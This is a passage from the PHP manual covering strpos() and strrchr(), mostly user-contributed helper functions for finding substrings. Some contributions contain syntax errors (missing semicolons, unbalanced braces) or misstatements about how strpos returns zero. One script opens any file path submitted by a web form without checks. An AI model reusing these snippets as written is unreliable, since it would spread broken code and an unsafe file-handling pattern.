As PHP treats 0 (zero) as NULL, and strpos returns the int 0 (but not NULL), I used type casting and the "===" comparison operator (as it compares types) to resolve my issue.

<?php

$hayStack = "dbHost";
$needle  = "db"
$needlePos = strpos($hayStack, $needle);

if((string)$needlePos === (string)0) {
    echo "db is in position zero";
} else {
    echo "db is NOT in position zero";
}

?>

Returns:
db is in position zero

<?php

$hayStack = "another_db_host";
$needle  = "db"
$needlePos = strpos($hayStack, $needle);

if((string)$needlePos === (string)0) {
    echo "db is in position zero";
} else {
    echo "db is NOT in position zero";
}

?>

This returns:
db is in NOT position zero
Tim 17-Nov-2008 05:52
If you would like to find all occurences of a needle inside a haystack you could use this function strposall($haystack,$needle);. It will return an array with all the strpos's.

<?php
/**
 * strposall
 *
 * Find all occurrences of a needle in a haystack
 *
 * @param string $haystack
 * @param string $needle
 * @return array or false
 */
function strposall($haystack,$needle){

    $s=0;
    $i=0;

    while (is_integer($i)){

        $i = strpos($haystack,$needle,$s);

        if (is_integer($i)) {
            $aStrPos[] = $i;
            $s = $i+strlen($needle);
        }
    }
    if (isset($aStrPos)) {
        return $aStrPos;
    }
    else {
        return false;
    }
}
?>
atomkirk at hotmail dot com 22-Oct-2008 06:19
careful that when you put a strpos in an if statement that you take note that if the string is in the 0 position it will return false, causing your control structure to think its not in the string.
samundra dot shr at gmail dot com 27-Sep-2008 11:40
This is the code,I wrote today, I wanted to strip all the newlines, and format the output in a single line so as to lower the filesize of my php source files.

<?php
/****************************************
@ Code By : Samundra Shrestha
@ Dated : September 28,2008
P.S. Remember to remove all single line comments from the source file
        otherwise the file may get corrupted.
******************************************/
if(!isset($_POST['change']) || !isset($_POST['filename']))
{
    print "<b>".strtoupper("Paste the fullpath of the file")."</b>";
    print "<form name='FrmChange' method='post' action='".$_SERVER['PHP_SELF']."'>";
    print "<input type='textbox' name='filename' size='50px' maxlength='255'>";
    print "<input type='submit' name='change' value='Start'>";
    print "</form>";
}
else
{
$filename=$_POST['filename'];
if(!$fpin=@fopen($filename,"r"))
{
    print "<b>Error ! File Doesn't Exists</b>";
    exit();
}
$text="";
$i=0;
/*Put the contents of file into the string*/
while(!feof($fpin))
{
    $text.=fread($fpin,1024);
}
$count=strlen($text);
$pos=strpos($text,"\n"); //Gives the First occurence of newline
while($i<$count)
{
    if($i<$pos-1)
    {
        $newtext.=$text{$i}; //C Style of String Indexing
    }
    else
    {
        $pos=strpos($text,"\n",$i+1);
    }
    $i++;
}
$newtext.="?>";   //necessary as somehow it is removed from the original source file.
$fp=fopen("sample.txt","wb+");
fwrite($fp,$newtext);
fclose($fp);
print "File Changed Successfully.";
}
?>

The resultant code is all in one new line saved in file sample.txt

I hope, this comes handy to someone.

Cheers,
Samundra Shrestha
mickRacky 19-Sep-2008 11:17
here's a php implementation of stdc++ string class find_first_of using strpos.

<?php
function find_first_of($haystack, $needlesAsString, $offset=0)
{
  $max = strlen($needlesAsString);
  $index = strlen($haystack)+1;
  for($ii=0; $ii<$max;$ii++){
    $result = strpos($haystack,$needlesAsString[$ii], $offset);
    if( $result !== FALSE  && $result < $index)
      $index = $result;
  }
  return ( $index > strlen($haystack)? FALSE: $index);
}
?>

Example:
<?php
$test="Ralph: One of these days, Alice!!";
$look_for=":!,";   // punctuation marks

$ss = 0;
while( $answer=find_first_of($test,$look_for,$ss) ) {
  echo $answer . "\n";
  $ss = $answer+1;
 }
?>

This prints out:
5
24
31
32
Chuzasoft Inc. ARGENTINA 05-Aug-2008 12:16
Hi! Don't you people miss the pretty comparison operator 'LIKE' from mySql in PHP??.
I've made this funtion to emulate that method. It's for search a match string into another String
using the '%' caracter just like you do un the LIKE syntax.
For example:

<?php
$mystring = "Hi, this is good!";
$searchthis = "%thi% goo%";

$resp = milike($mystring,$searchthis);

if ($resp){
   echo "milike = VERDADERO";
} else{
   echo "milike = FALSO";
}

?>
Will print:
milike = VERDADERO

and so on...

this is the function:

<?php
function milike($cadena,$busca){
    if($busca=="") return 1;

    $vi = split("%",$busca);
     $offset=0;
    for($n=0;$n<count($vi);$n++){
        if($vi[$n]== ""){
            if($vi[0]== ""){
                   $tieneini = 1;
            }
        } else {
            $newoff=strpos($cadena,$vi[$n],$offset);
            if($newoff!==false){
                if(!$tieneini){
                    if($offset!=$newoff){
                        return false;
                    }
                }
                if($n==count($vi)-1){
                    if($vi[$n] != substr($cadena,strlen($cadena)-strlen($vi[$n]), strlen($vi[$n]))){
                        return false;
                    }

                } else {
                    $offset = $newoff + strlen($vi[$n]);
                 }
            } else {
                return false;
            }
        }
    }
    return true;
}
?>

Good luck!
paul at thiswayupdesign dot co dot uk 18-Jun-2008 03:48
I wasn't aware of the !== operator, only the === for false. I was using this code on strpos:

<?php
while( ! ($start=@strpos($source,$startTag,$end)) === false) {
  // ...
}
?>

This gave a false if the string was found at position 0, which is weird.

However using

<?php
while(($start=@strpos($source,$startTag,$end)) !== false) {
  // ...
}
?>

Gives no such error and seems to work correctly
pawhox 26-May-2008 06:19
Hello! I was founding a function, which finds any occurence of a string (no: first occurence). I wasn't, so I maked this function! It may be very useful.

<?php

int strnpos(string $haystack, mixed $needle, int $occurence);

?>

Example:

<?php

strnpos("I like the bananas. You like coke. We like chocolate.", "like", 2); // 24

?>

Here's code of this function:

<?php

function strnpos($base, $str, $n)
    {
        if ($n <= 0 || intval($n) != $n || substr_count($base, $str) < $n)  return FALSE;

        $str = strval($str);
        $len = 0;

        for ($i=0 ; $i<$n-1 ; ++$i)
        {
            if ( strpos($base, $str) === FALSE ) return FALSE;

            $len += strlen( substr($base, 0, strpos($base, $str) + strlen($str)) );

            $base = substr($base, strpos($base, $str) + strlen($str) );
        }
        return strpos($base, $str) + $len;
    }

?>
ilaymyhat-rem0ve at yahoo dot com 01-Apr-2008 04:17
This might be useful.

<?php
class String{

    //Look for a $needle in $haystack in any position
    public static function contains(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        return $result !== FALSE;
    }

    //intuitive implementation .. if not found returns -1.
    public static function strpos(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        if ($result === FALSE )
        {
            return -1;
        }
        return $result;
    }

}//String
?>
Suggested re-write for pink WARNING box 11-Jan-2008 03:45
WARNING

As strpos may return either FALSE (substring absent) or 0 (substring at start of string), strict versus loose equivalency operators must be used very carefully.

To know that a substring is absent, you must use:

=== FALSE

To know that a substring is present (in any position including 0), you can use either of:

!== FALSE  (recommended)
 > -1  (note: or greater than any negative number)

To know that a substring is at the start of the string, you must use:

=== 0

To know that a substring is in any position other than the start, you can use any of:

 > 0  (recommended)
!= 0  (note: but not !== 0 which also equates to FALSE)
!= FALSE  (disrecommended as highly confusing)

Also note that you cannot compare a value of "" to the returned value of strpos. With a loose equivalence operator (== or !=) it will return results which don't distinguish between the substring's presence versus position. With a strict equivalence operator (=== or !==) it will always return false.
Benjie 14-Oct-2007 04:49
str_replace evaluates its arguments exactly once.

for example:

<?php
$page = str_replace("##randompicture##", getrandompicture(), $page);
?>

will call getrandompicture() once, ie it will insert the same random picture for each occurrence of ##randompicture## :(

Here is my quick and dirty workaround:

<?php
function add_random_pictures($text) {

  while (($i = strpos($text, "##randompicture##")) !== false) {
    $text = substr_replace($text, getrandompicture(), $i, strlen("##randompicture##"));
  }
  return $text;

}

$page = add_random_pictures($page);
?>
Wagner Christian 17-Aug-2007 01:11
If you plan to use an integer as needle you need first to convert your integer into a String else it's not going to work.

For exemple :
<?php
$id  = 1;
$my_text = "hel124lo";
$first_position =strpos($my_text ,substr($id,0));
?>

There are for sure some another solutions to convert an integer into a string in php.
user at nomail dot com 15-May-2007 02:21
This is a bit more useful when scanning a large string for all occurances between 'tags'.

<?php
function getStrsBetween($s,$s1,$s2=false,$offset=0) {
    /*====================================================================
    Function to scan a string for items encapsulated within a pair of tags

    getStrsBetween(string, tag1, <tag2>, <offset>

    If no second tag is specified, then match between identical tags

    Returns an array indexed with the encapsulated text, which is in turn
    a sub-array, containing the position of each item.

    Notes:
    strpos($needle,$haystack,$offset)
    substr($string,$start,$length)

    ====================================================================*/

    if( $s2 === false ) { $s2 = $s1; }
    $result = array();
    $L1 = strlen($s1);
    $L2 = strlen($s2);

    if( $L1==0 || $L2==0 ) {
        return false;
    }

    do {
        $pos1 = strpos($s,$s1,$offset);

        if( $pos1 !== false ) {
            $pos1 += $L1;

            $pos2 = strpos($s,$s2,$pos1);

            if( $pos2 !== false ) {
                $key_len = $pos2 - $pos1;

                $this_key = substr($s,$pos1,$key_len);

                if( !array_key_exists($this_key,$result) ) {
                    $result[$this_key] = array();
                }

                $result[$this_key][] = $pos1;

                $offset = $pos2 + $L2;
            } else {
                $pos1 = false;
            }
        }
    } while($pos1 !== false );

    return $result;
}
?>
Rich Deeson 26-Apr-2007 08:58
Here's a somewhat more efficient way to truncate a string at the end of a word. This will end the string on the last dot or last space, whichever is closer to the cut off point. In some cases, a full stop may not be followed by a space eg when followed by a HTML tag.

<?php
    $shortstring = substr($originalstring, 0, 400);
    $lastdot = strrpos($shortstring, ".");
    $lastspace = strrpos($shortstring, " ");
    $shortstring = substr($shortstring, 0, ($lastdot > $lastspace? $lastdot : $lastspace));
?>

Obviously, if you only want to split on a space, you can simplify this:

<?php
    $shortstring = substr($originalstring, 0, 400);
    $shortstring = substr($shortstring, 0, strrpos($shortstring, " "));
?>
sinai [at] simnet [dot] is 11-Apr-2007 05:35
If you want to check for either IE6 or 7 individually.

<?php

function browserIE($version)
{
  if($version == 6 || $version == 7)
  {
    $browser = strpos($_SERVER['HTTP_USER_AGENT'], "MSIE ".$version.".0;");

    if($browser == true)
    {
      return true;
    }
    else
    {
      return false;
    }
  else
  {
    return false;
}

?>
gal_chen123 at hotmail dot co dot il 03-Apr-2007 09:57
this function returns the text between 2 strings:

<?php
function get_between ($text, $s1, $s2) {
    $mid_url = "";
    $pos_s = strpos($text,$s1);
    $pos_e = strpos($text,$s2);
    for ( $i=$pos_s+strlen($s1) ; ( ( $i < ($pos_e)) && $i < strlen($text) ) ; $i++ ) {
        $mid_url .= $text[$i];
    }
    return $mid_url;
}
?>

if $s1 or $s2 are not found, $mid_url will be empty
to add an offset, simply compare $pos_s to the offset, and only let it continue if the offset is smaller then $pos_s.
jamie at jamiechong dot ca 19-Jan-2007 12:15
Try this function to find the first position of needle before a given offset.

For example:
<?php
$s = "This is a test a is This";
$offset = strpos($s, "test");

strnpos($s, "is", $offset);  // returns 17
strnpos($s, "is", -$offset); // returns 5

// Works just like strpos if $offset is positive.
// If $offset is negative, return the first position of needle
// before before $offset.
function strnpos($haystack, $needle, $offset=0)
{
    if ($offset>=0)
        $result=strpos($haystack, $needle, $offset);
    else
    {
        $offset=strlen($haystack)+$offset;
        $haystack=strrev($haystack);
        $needle=strrev($needle);
        $result=strpos($haystack, $needle, $offset);
        if ($result!==false)
        {
            $result+=strlen($needle);
            $result=strlen($haystack)-$result;
        }
    }
    return $result;
}

?>
koteskie at gmail dot com 18-Dec-2006 02:31
I've been looking at previous posts and came up with this function to find the start and end off an certain occurance or all occurances of needle within haystack.

I've made some minor tweaks to the code itself, like  counting the length of needle only once and counting the result set array instead of using a count variable.

I also added a length parameter to the result set to use in a following substr_replace call etc...

<?php

function strpos_index($haystack = '',$needle = '',$offset = 0,$limit = 99,$return = null)
{
    $length = strlen($needle);
    $occurances = array();
    while((($count = count($occurances)) < $limit) && (false !== ($offset = strpos($haystack,$needle,$offset))))
    {
        $occurances[$count]['length'] = $length;
        $occurances[$count]['start'] = $offset;
        $occurances[$count]['end'] = $offset = $offset + $length;
    }
    return $return === null ? $occurances : $occurances[$return];
}

?>
spinicrus at gmail dot com 14-Oct-2006 10:58
if you want to get the position of a substring relative to a substring of your string, BUT in REVERSE way:

<?php

function strpos_reverse_way($string,$charToFind,$relativeChar) {
    //
    $relativePos = strpos($string,$relativeChar);
    $searchPos = $relativePos;
    $searchChar = '';
    //
    while ($searchChar != $charToFind) {
        $newPos = $searchPos-1;
        $searchChar = substr($string,$newPos,strlen($charToFind));
        $searchPos = $newPos;
    }
    //
    if (!empty($searchChar)) {
        //
        return $searchPos;
        return TRUE;
    }
    else {
        return FALSE;
    }
    //
}

?>
admin at xylotspace dot com 26-Sep-2006 07:33
Yay! I came up with a very useful function. This finds a beginning marker and an ending marker (the first after the beginning marker), and returns the contents between them. You specify an initial position in order to tell it where to start looking. You can use a while() or for() loop to get all occurence of a certain string within a string (for example, taking all hyperlinks in a string of HTML code)...

<?php
function get_middle($source, $beginning, $ending, $init_pos) {
    $beginning_pos = strpos($source, $beginning, $init_pos);
    $middle_pos = $beginning_pos + strlen($beginning);
    $ending_pos = strpos($source, $ending, $beginning_pos + 1);
    $middle = substr($source, $middle_pos, $ending_pos - $middle_pos);
    return $middle;
}
?>

For example, to find the URL of the very first hyperlink in an HTML string $data, use:

$first_url = get_middle($data, '<a href="', '"', 0);

It's done wonders for scraping HTML pages with certain tools on my website.
Virtual Hunter root(at)autocrash(dot)ru 23-Dec-2005 07:44
If you want to find positions of all needle's in haystack,
you can use this one:

<?php
while (($pos=strpos($haystack,$needle,$pos+1))!==false) $pos_array[$i++]=$pos;
?>

But mind, that it will find from second char. You must use $pos=-1; before you want search from first char.

<?php
$haystack="one two three one two three one two three one two three one";
$needle="one";

$pos=-1;
while (($pos=strpos($haystack,$needle,$pos+1))!==false) $pos_array[$i++]=$pos;
?>

RESULT:

$pos_array[0] = 0
$pos_array[1] = 14
$pos_array[2] = 28
$pos_array[3] = 42
$pos_array[4] = 56
csaba at alum dot mit dot edu 21-Nov-2005 06:00
<?php
function nthPos ($str, $needles, $n=1) {
    //    finds the nth occurrence of any of $needles' characters in $str
    //  returns -1 if not found; $n<0 => count backwards from end
    //  e.g. $str = "c:\\winapps\\morph\\photos\\Party\\Phoebe.jpg";
    //       substr($str, nthPos($str, "/\\:", -2)) => \Party\Phoebe.jpg
    //       substr($str, nthPos($str, "/\\:", 4)) => \photos\Party\Phoebe.jpg
    $pos = -1;
    $size = strlen($str);
    if ($reverse=($n<0)) { $n=-$n; $str = strrev($str); }
    while ($n--) {
    $bestNewPos = $size;
    for ($i=strlen($needles)-1;$i>=0;$i--) {
        $newPos = strpos($str, $needles[$i], $pos+1);
        if ($newPos===false) $needles = substr($needles,0,$i) . substr($needles,$i+1);
        else $bestNewPos = min($bestNewPos,$newPos); }
    if (($pos=$bestNewPos)==$size) return -1; }
    return $reverse ? $size-1-$pos : $pos;
}
?>

Csaba Gabor from Vienna
dale at ucsc dot edu 11-Nov-2005 02:28
if you want need a fast function to find the first occurrence of any ch element of an needle array this function might be of use:
<?php
$eurl = strpos_needle_array($text, array('"'=>0,'\''=>0,'>'=>0, ' '=>0, "\n"=>0), $surl);

function strpos_needle_array(& $text, $needle_ary, $offset=0){
    for($ch_pos=$offset;$ch_pos<strlen($text);$ch_pos++){
        if(isset($needle_ary[$text[$ch_pos]])){
            return $ch_pos;
        }
    }
    return false;
}
?>
info at quantummechanic dot com 06-Oct-2005 05:42
this function takes a space-deliminted string as a list of potential needles and runs it against another string as a haystack.

the number of positive matches of needles within the haystack is returned as a rounded percentile.

<?php
function keyMatch($needles,$haystack) {
    $nArray=split(" ",$needles);
    $found=0;
    $best=count($nArray);
      for($i=0;$i<count($nArray);$i++) {
        $pzn=strpos(strtoupper($haystack),strtoupper($nArray[$i]));
        if ($pzn>-1) { $found++; }
       }
    $pct=($found*100)/$best;
    return round($pct);
}

$test = keyMatch("the quick wolf","the quick brown fox jumps over the lazy dog");
echo($test);
?>

RESULT:

67

(because "the" and "quick" were found but "wolf" was not)
arias at elleondeoro dot com 07-Feb-2005 06:33
If you want to get all positions in an array, you can use this function. If the optional parameter count is especified, the function will put there the number of matches.

<?php
function strallpos($pajar, $aguja, $offset=0, &$count=null) {
  if ($offset > strlen($pajar)) trigger_error("strallpos(): Offset not contained in string.", E_USER_WARNING);
  $match = array();
  for ($count=0; (($pos = strpos($pajar, $aguja, $offset)) !== false); $count++) {
    $match[] = $pos;
    $offset = $pos + strlen($aguja);
  }
  return $match;
}
?>
admin at bwongar dot com 20-Jan-2005 06:17
I created a useful function that returns an array with the positions within a string. For more info, read the comments:
<?php
// Returns an array in this fashion:
// array(count => position)
function strpos_array($haystack, $needle){
   $kill    = 0;    // Kills while loop when changed
   $offset    = 0;    // Offset for strpos()
   $i        = 0;    // Counter, not iterator

   while ($kill === 0) {
       $i++;
       $result = strpos($haystack, $needle, $offset);

       if ($result === FALSE) {        // If result is false (no more instances found), kill the while loop
           $kill = 1;
       } else {
           $array[$i] = $result;    // Set array
           $offset = $result + 1;    // Offset is set 1 character after previous occurence
       }

   }

   return $array;

}
?>
takapz at flor dot it 03-Dec-2004 09:28
here a little function for tag parsing

<?php
function parsing($tag,$string) {
        $start=strpos($string,"<" . $tag . ">" );
        $start=$start + strlen("<" . $tag . ">");
         $end=(strpos($string, "</" . $tag . ">"));
         $num=  ($end - $start);
         $valore=substr($string,$start,$num);
          return $valore;
}
?>
philip 25-Aug-2004 03:52
Many people look for in_string which does not exist in PHP, so, here's the most efficient form of in_string() (that works in both PHP 4/5) that I can think of:
<?php
function in_string($needle, $haystack, $insensitive = 0) {
    if ($insensitive) {
        return (false !== stristr($haystack, $needle)) ? true : false;
    } else {
        return (false !== strpos($haystack, $needle))  ? true : false;
    }
}
?>
php .at. wwwcrm .dot. com 19-Aug-2004 10:33
Watch out for type!

The following code will return "not matched", which is a little counter-intuitive.

<?php
$val1=123;
$val2="123,456,789";
if (strpos($val2, $val1)!==false) echo "matched";
else echo "not matched";
?>

When $val1 is cast to string, it behaves as you might expect:

<?php
$val1=(string)123;
$val2="123,456,789";
if (strpos($val2, $val1)!==false) echo "matched";
else echo "not matched";
?>

Hope this saves someone the couple of hours that it took me to spot it :-)

Regards,
Alex Poole
bishop 21-Apr-2004 03:38
Code like this:
<?php
if (strpos('this is a test', 'is') !== false) {
    echo "found it";
}
?>

gets repetitive, is not very self-explanatory, and most people handle it incorrectly anyway. Make your life easier:

<?php
function str_contains($haystack, $needle, $ignoreCase = false) {
    if ($ignoreCase) {
        $haystack = strtolower($haystack);
        $needle   = strtolower($needle);
    }
    $needlePos = strpos($haystack, $needle);
    return ($needlePos === false ? false : ($needlePos+1));
}
?>

Then, you may do:
<?php
// simplest use
if (str_contains('this is a test', 'is')) {
    echo "Found it";
}

// when you need the position, as well whether it's present
$needlePos = str_contains('this is a test', 'is');
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}

// you may also ignore case
$needlePos = str_contains('this is a test', 'IS', true);
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}
?>
amy_w at gmx dot de 02-Apr-2004 09:41
You can use this function to find ANY occurence of a string in an array - no matter if it is just part of one of the array elements.

it returns the key of the first found occurence or false

<?php
function search_array($needle,$haystacks) {
    $found=false;
    foreach ($haystacks as $key => $haystack) {
        if (!(strpos($haystack,$needle)===false)) {
            $found=$key;
            break;
        }
    }
    return ($found);
}
?>
ebypdx at comcast dot net 09-Mar-2004 05:26
counting the occurrences of a substring, recursive-style instead of looping.

<?php
function countSubstrs($haystack, $needle)
{
    return (($p = strpos($haystack, $needle)) === false) ? 0 : (1 + countSubstrs(substr($haystack, $p+1), $needle));
}
?>
kingbusiness at hotmail dot com 18-Dec-2003 10:34
A simple function to find the number of occurances in a string within a string

<?php
function StringCount($searchstring, $findstring)
{
    return (strpos($searchstring, $findstring) === false ? 0 :  count(split($findstring, $searchstring)) - 1);
}
?>
justin at visunet dot ie 01-Oct-2003 09:20
Function:
stripos_words($haystack,'words in string')

This function finds and reports positions of all words in supplied haystack. It returns the results as an array. The array has the following structure.

Array
(
    [69] => Array
        (
            [start] => 69
            [end] => 74
            [word] => honey
        )

    [226] => Array
        (
            [start] => 226
            [end] => 232
            [word] => cobweb
        )
}

Where, for convenience, the main key also contains the positions of each found word occurrence.

If you want the main key to be 0,1,2,3,etc then set the third parameter ($pos_as_key) to false;

Hope this is of help to someone.

Cheers,
Justin :)

<?php
function stripos_words($haystack,$needles='',$pos_as_key=true)
{
    $idx=0; // Used if pos_as_key is false

    // Convert full text to lower case to make this case insensitive
    $haystack = strtolower($haystack);

    // Split keywords and lowercase them
    foreach ( preg_split('/[^\w]/',strtolower($needles)) as $needle )
    {
        // Get all occurences of this keyword
        $i=0; $pos_cur=0; $pos_found=0;
        while (  $pos_found !== false && $needles !== '')
        {
            // Get the strpos of this keyword (if thereis one)
            $pos_found = strpos(substr($haystack,$pos_cur),$needle);
            if ( $pos_found !== false )
            {
                // Set up key for main array
                $index = $pos_as_key ? $pos_found+$pos_cur : $idx++;

                // Populate main array with this keywords positional data
                $positions[$index]['start'] = $pos_found+$pos_cur;
                $pos_cur += ($pos_found+strlen($needle));
                $positions[$index]['end']   = $pos_cur;
                $positions[$index]['word'] = $needle;
                $i++;
            }
        }
    }

    // If we found anything then sort the array and return it
    if ( isset($positions) )
    {
        ksort($positions);
        return $positions;
    }

    // If nothign was found then return false
    return false;
}
?>
strpbrk
strrchr
String Functions


Find the last occurrence of a character in a string

strpos
strrev
String Functions
PHP Manual

strrchr

(PHP 4, PHP 5)

strrchr — Find the last occurrence of a character in a string

Description

string strrchr ( string $haystack , mixed $needle )

This function returns the portion of haystack which starts at the last occurrence of needle and goes until the end of haystack.

Parameters

haystack

The string to search in

needle

If needle contains more than one character, only the first is used. This behavior is different from that of strstr().

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

Return Values

This function returns the portion of string, or FALSE if needle is not found.

Changelog

Version | Description
4.3.0 | This function is now binary safe.

Examples

Example #1 strrchr() example

<?php
// get last directory in $PATH
$dir = substr(strrchr($PATH, ":"), 1);

// get everything after last newline
$text = "Line 1\nLine 2\nLine 3";
$last = substr(strrchr($text, 10), 1 );
?>

Notes

Note: This function is binary-safe.

See Also

  • strstr() - Find the first occurrence of a string
  • strrpos() - Find the position of the last occurrence of a substring in a string

User Contributed Notes

matthewkastor at live dot com 30-Mar-2011 01:07
<?php
/**
 * Removes the preceeding or proceeding portion of a string
 * relative to the last occurrence of the specified character.
 * The character selected may be retained or discarded.
 *
 * Example usage:
 * <code>
 * $example = 'http://example.com/path/file.php';
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', false);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', false);
 * foreach($cwd_relative as $string) {
 *     echo "$string <br>".PHP_EOL;
 * }
 * </code>
 *
 * Outputs:
 * <code>
 * http://example.com/path/
 * http://example.com/path
 * /file.php
 * file.php
 * </code>
 *
 * @param string $character the character to search for.
 * @param string $string the string to search through.
 * @param string $side determines whether text to the left or the right of the character is returned.
 * Options are: left, or right.
 * @param bool $keep_character determines whether or not to keep the character.
 * Options are: true, or false.
 * @return string
 */
function cut_string_using_last($character, $string, $side, $keep_character=true) {
    $offset = ($keep_character ? 1 : 0);
    $whole_length = strlen($string);
    $right_length = (strlen(strrchr($string, $character)) - 1);
    $left_length = ($whole_length - $right_length - 1);
    switch($side) {
        case 'left':
            $piece = substr($string, 0, ($left_length + $offset));
            break;
        case 'right':
            $start = (0 - ($right_length + $offset));
            $piece = substr($string, $start);
            break;
        default:
            $piece = false;
            break;
    }
    return($piece);
}
?>
corey [works at] effim [dot coooom] 28-Sep-2009 10:03
Easiest way to get the domain off of an email:

<?php

$domain = strrchr($email, '@');

// gets @gmail.com, with the preceding @.

?>

It's not perfect (see above in the manual), but it's pretty damn good.
franzemmanuel at gmail dot com 23-May-2009 05:30
this functions returns the full path of the current directory.

<?php

function CurrentFullPath()
{
    $root = $_SERVER['DOCUMENT_ROOT'] ;
    $self = $_SERVER['PHP_SELF'] ;
    return $root.mb_substr($self,0,-mb_strlen(strrchr($self,"/"))) ;
}

echo CurrentFullPath() ;

/*

If path is $path = "/home/me/www/pictures/control.php" ;

It will return :

/home/me/www/pictures

*/

?>
pnoexz at gmail dot com 05-Nov-2008 07:07
Here is my function that returns the type of a file. I fint it easier to add other types of files, and simplier than the rest i have seen around.

<?php
function findExt($filename){
    $exts = array(
        '.jpg' => 'image',
        '.png' => 'image',
        '.php' => 'php',
        '.html' => 'html',
        '.swf' => 'flash',
        '.gz' => 'compressed',
        '.tar' => 'compressed',
    );
    $ext = strrchr($filename,'.');
    if ($exts[$ext]) { return $exts[$ext]; }
    else { return "unknown"; }
}
?>
equand at gmail dot com 29-May-2008 07:29
a KiSS variant of a previous note

<?php
function fcheck($f = "test.doc")
{
 $fd = array(".xls" => "Microsoft Excel Worksheet",".doc" => "Microsoft Word Document",".pdf" => "Adobe Reader PDF File");
 $s = $fd[strrchr($f,'.')];
 if (!empty($s))
 {
  return $s;
 }
 else
 {
  return "Unknown file type";
 }
}

?>
Emmanuel Quiban 21-May-2008 07:32
strrchr is useful also in determining file extensions.

Here is a sample code that determines the file type based on its file extension. This is useful in displaying the files in your page, without using the database for the file description list.

<?php
 /* File Extension Display using arrays
     by: Emmanuel Quiban (Philippines)
     BSCS 2002, AdU
     21-May-2008
 */

 // Sample file
 $filesample = "Mydocu.doc";

 //Array for file description. You can expand the array list further with other file types you want
 $filedes = array(
                "Microsoft Excel Worksheet",
                "Microsoft Word Document",
                "Adobe Reader PDF File");

 //Array for file extensions. Please take note that positions between the two arrays should be in sync with each other for correct file description.
 $fileext = array(".xls", ".doc", ".pdf");

 //This gets the file extension
 $ext = strrchr($filesample,'.');

 //This conditional statement checks if the file extension given is in the array and matches it with the file description
 if (in_array($ext,$fileext)) {

        //Search the array
        $ext2 = array_search($ext, $fileext);

        //Since the result of the array_search is in integer, you can now assign it as an array value
        $filetype = $filedes[$ext2];

        //Show the result
        echo $filetype;
 } else {
        $filetype = "Unknown file type";
 }
?>
-----
The output of the script above is:
Microsoft Word Document

Let's say even if the filename looks like "My.Docu.doc", strrchr still gets the value ".doc" because it gets the last occurance of the dot.
-----

You can also make it as a function, like this:

<?php
 /* File Extension Display using arrays
     by: Emmanuel Quiban (Philippines)
     BSCS 2002, AdU
     21-May-2008
 */
 function getFileType($yourfile){

 $filedes = array(
                "CompuServe GIF Image",
                "JPEG Image",
                "Portable Network Graphics (PNG) Image"
                );

 $fileext = array(".gif",".jpg",".png");

 $ext = strrchr($yourfile,'.');
 if (in_array($ext,$fileext)) {
        $ext2 = array_search($ext, $fileext);
        $filetype = $filedes[$ext2];
 } else {
        $filetype = "Unknown file type";
 }

 return $filetype;
 }
?>
subbz2k at yahoo dot de 01-Aug-2007 04:32
i just recently did a function, that uses strrchr to format - let's say a currency - with 2 decimals. can also be done using number_format but you may NOT always want an automatic rounding of your decimals. thats there this function comes in handy:

<?php
function formatTwoDecimals($value, $trim)
{
   $after_comma = substr(strrchr($value, $trim), 0, 3);
   $in_front_of_comma = (int) $value;
   $final = $in_front_of_comma . $after_comma;

   return $final;
}

echo formatTwoDecimals("365.6078985", ".");
?>

this will produce
365.60

instead of
365.61
which will show up then you use number_format.
repley at freemail dot it 11-Aug-2006 06:57
Final get file name and extension into an array with or without dot, using strrchr and strrchr_reverse.
Note our use of !==. Now work if the position of $needle in $haystack was the 0th (first) character like ".htaccess"
<?
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   //Note our use of !==. Now work if the position of $needle in $haystack was the 0th (first) character.
   if(strrpos($haystack, $needle) !== false){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);
       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;
       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);
       //Return $left and $right into an array.
       $a = array($left, $right);
       return $a;
   }else{
       return false;
   }
}
?>

Repley
readless at gmx dot net 06-Jun-2006 07:55
to: repley at freemail dot it

the code works very well, but as i was trying to cut script names (e.g.: $_SERVER["SCRIPT_NAME"] => /index.php, cut the string at "/" and return "index.php") it returned nothing (false). i've modified your code and now it works also if the needle is the first char.
- regards from germany

<?php
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       return array($left, $right);
   } else {
       if(strrchr($haystack, $needle)) return array('', substr(strrchr($haystack, $needle), $r_inclusive));
       else return false;
   }
}
?>
repley at freemail dot it 18-May-2006 03:09
Get file name and extension into an array with or without dot, using strrchr and strrchr_reverse.

<?
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       $a = array($left, $right);
       return $a;
   }else{
       return false;
   }
}

//start test
$haystack = "unknown.txt.log.......gif.....jpeg";
$needle = ".";
$l_inclusive = 1; //1 for inclusive mode, 0 for NOT inclusive mode
